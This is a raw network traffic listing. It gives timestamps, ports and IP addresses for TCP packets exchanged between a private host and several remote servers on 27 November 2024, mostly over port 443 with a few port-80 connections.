Nov 27, 2024 11:14:41.917315006 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.926935911 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.926995039 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:41.927002907 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.938179970 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.938266039 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:41.938275099 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.951510906 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:41.951559067 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:41.951566935 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.007344961 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.007354021 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.019812107 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.019871950 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.019884109 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.024020910 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.024069071 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.024077892 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.031197071 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.031234026 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.031402111 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.031874895 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.031893015 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.084769964 CET	443	49832	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:42.084925890 CET	443	49832	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:42.085031033 CET	49832	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:42.085175037 CET	49832	443	192.168.2.6	20.198.119.143
Nov 27, 2024 11:14:42.085194111 CET	443	49832	20.198.119.143	192.168.2.6
Nov 27, 2024 11:14:42.110183001 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.110282898 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.110291958 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.113827944 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.113898039 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.113905907 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.120704889 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.120832920 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.120841026 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.134706974 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.134757996 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.134768009 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.134776115 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.134831905 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.139213085 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.147721052 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.147795916 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.147804022 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.161339045 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.161396027 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.161402941 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.175020933 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.175111055 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.175120115 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.190138102 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.190192938 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.190203905 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.201644897 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.201708078 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.201719046 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.213129044 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.213188887 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.213196039 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.224891901 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.225169897 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.225178003 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.236690998 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.236743927 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.236752033 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.248518944 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.248575926 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.248583078 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.248585939 CET	443	49841	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.249439001 CET	49841	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.249453068 CET	443	49841	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.249900103 CET	49841	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.249905109 CET	443	49841	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.269150019 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:42.269205093 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:42.273606062 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.273829937 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.273838997 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.278029919 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.278083086 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.278105974 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.278115034 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.278160095 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.286053896 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.320852995 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.320930958 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.320950985 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.327069044 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.327116013 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.327177048 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.327192068 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.328119040 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.331391096 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.335587025 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.335679054 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.335706949 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.335716963 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.335767031 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.339703083 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.343931913 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.343977928 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.343986034 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.347960949 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.348046064 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.348052025 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.354402065 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.354463100 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.354470968 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.358994961 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.359041929 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.359050035 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.363240957 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.363289118 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.363296986 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.369465113 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.369548082 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.369555950 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.369569063 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.369755030 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.377223969 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.393457890 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.393517971 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.393534899 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.395081997 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.395148039 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.395163059 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.400404930 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.400507927 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.400521994 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.400537968 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.400680065 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.411676884 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.423358917 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.423407078 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.423434019 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.423444986 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.423490047 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.435292959 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.446923971 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.446969986 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.446978092 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.446985960 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.447040081 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.447772980 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.450417995 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.450475931 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.450483084 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.459460020 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.459511995 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.459518909 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.462173939 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.462275028 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.462281942 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.474390030 CET	443	49850	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.474473953 CET	49850	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.483958960 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.484070063 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.484077930 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.487946987 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.487993956 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.488053083 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.488059998 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.488106012 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.489334106 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.490271091 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.490482092 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.498881102 CET	49831	443	192.168.2.6	142.250.181.65
Nov 27, 2024 11:14:42.498893976 CET	443	49831	142.250.181.65	192.168.2.6
Nov 27, 2024 11:14:42.517719984 CET	443	49852	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.517822981 CET	49852	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.517829895 CET	443	49852	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.517889977 CET	49852	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.524828911 CET	49876	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.524878025 CET	443	49876	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.524959087 CET	49876	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.526149035 CET	49876	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.526161909 CET	443	49876	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.593117952 CET	49877	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.593158007 CET	443	49877	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.593213081 CET	49877	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.593411922 CET	49877	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.593424082 CET	443	49877	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.627609015 CET	443	49851	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.627718925 CET	443	49851	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.627778053 CET	49851	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.627778053 CET	49851	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.686363935 CET	49878	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.686412096 CET	443	49878	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.686666012 CET	49878	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.686839104 CET	49878	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.686855078 CET	443	49878	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.693078041 CET	443	49841	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.693149090 CET	443	49841	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.693239927 CET	49841	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.693852901 CET	49841	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.693852901 CET	49841	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.693870068 CET	443	49841	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.693890095 CET	443	49841	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.698344946 CET	49879	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.698376894 CET	443	49879	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.698446035 CET	49879	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.698905945 CET	49879	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.698919058 CET	443	49879	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.759670019 CET	443	49845	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.765495062 CET	49845	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.765523911 CET	443	49845	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.766305923 CET	443	49864	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.766493082 CET	49845	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.766499043 CET	443	49845	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.766733885 CET	49864	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.766762972 CET	443	49864	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.767574072 CET	443	49865	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.767858982 CET	443	49864	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.767925024 CET	49864	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.768532038 CET	49865	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.768548012 CET	443	49865	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.769609928 CET	443	49865	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.769692898 CET	49865	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.769891977 CET	49864	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.769984961 CET	443	49864	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.770145893 CET	49864	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.770155907 CET	443	49864	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.770558119 CET	49865	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.770615101 CET	443	49865	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.770893097 CET	49865	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.770900011 CET	443	49865	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:42.775291920 CET	443	49870	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.775492907 CET	49870	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.775521040 CET	443	49870	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.775742054 CET	443	49871	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.776101112 CET	443	49873	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.776127100 CET	49871	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.776139975 CET	443	49871	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.776345968 CET	49873	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.776387930 CET	443	49873	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.776638985 CET	443	49874	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.776869059 CET	443	49870	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.776928902 CET	49870	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.777018070 CET	49874	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.777036905 CET	443	49874	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.777228117 CET	443	49871	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.777288914 CET	49871	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.777455091 CET	443	49873	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.777517080 CET	49873	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.778100014 CET	443	49874	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.778162003 CET	49874	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.778423071 CET	49871	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.778517962 CET	443	49871	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.778836012 CET	49870	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.778986931 CET	443	49870	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.779233932 CET	49871	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.779241085 CET	443	49871	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.809995890 CET	49870	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.810024023 CET	443	49870	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.811542034 CET	49864	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.814277887 CET	49874	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.814435959 CET	443	49874	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.814739943 CET	49873	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.814904928 CET	443	49873	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.815057039 CET	49874	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.815073967 CET	443	49874	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.815151930 CET	49873	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.815165043 CET	443	49873	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.853527069 CET	443	49846	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.860007048 CET	49846	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.860033989 CET	443	49846	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.861721039 CET	443	49848	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.861810923 CET	443	49847	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.862001896 CET	49846	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.862010002 CET	443	49846	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.873604059 CET	49848	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.873655081 CET	443	49848	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.874277115 CET	49848	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.874289036 CET	443	49848	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.874648094 CET	49847	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.874664068 CET	443	49847	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.875096083 CET	49847	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:42.875102043 CET	443	49847	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:42.935339928 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:42.945931911 CET	49865	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:42.945933104 CET	49870	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.945970058 CET	49873	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:42.987330914 CET	443	49871	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:42.987396955 CET	49871	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.007863998 CET	49874	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.055205107 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:43.203388929 CET	443	49845	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.203448057 CET	443	49845	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.203556061 CET	49845	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.204799891 CET	49845	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.204818964 CET	443	49845	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.204859018 CET	49845	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.204865932 CET	443	49845	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.208173990 CET	49880	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.208233118 CET	443	49880	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.208354950 CET	49880	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.208667040 CET	49880	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:43.208681107 CET	443	49880	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.210400105 CET	443	49864	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:43.210479975 CET	443	49864	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:43.210541964 CET	49864	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:43.210998058 CET	49864	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:43.211016893 CET	443	49864	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:43.211906910 CET	443	49865	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:43.211980104 CET	443	49865	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:43.212033987 CET	49865	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:43.212100983 CET	49865	443	192.168.2.6	172.64.41.3
Nov 27, 2024 11:14:43.212111950 CET	443	49865	172.64.41.3	192.168.2.6
Nov 27, 2024 11:14:43.218831062 CET	443	49870	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.218903065 CET	443	49870	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.219001055 CET	49870	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.219213963 CET	49870	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.219233036 CET	443	49870	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.219604015 CET	443	49871	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.219681025 CET	443	49871	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.219939947 CET	49871	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.220009089 CET	49871	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.220021009 CET	443	49871	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.220257044 CET	443	49873	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.220319986 CET	443	49873	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.220383883 CET	49873	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.220536947 CET	49873	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.220562935 CET	443	49873	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.220709085 CET	443	49874	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.220769882 CET	443	49874	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.220813036 CET	49874	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.220944881 CET	49874	443	192.168.2.6	162.159.61.3
Nov 27, 2024 11:14:43.220958948 CET	443	49874	162.159.61.3	192.168.2.6
Nov 27, 2024 11:14:43.228189945 CET	443	49861	18.165.220.110	192.168.2.6
Nov 27, 2024 11:14:43.228274107 CET	49861	443	192.168.2.6	18.165.220.110
Nov 27, 2024 11:14:43.279834986 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:43.279881001 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:43.279998064 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:43.280535936 CET	49881	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:43.280550003 CET	443	49881	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:43.298269033 CET	443	49846	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.298343897 CET	443	49846	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:43.298410892 CET	49846	443	192.168.2.6	13.107.246.63
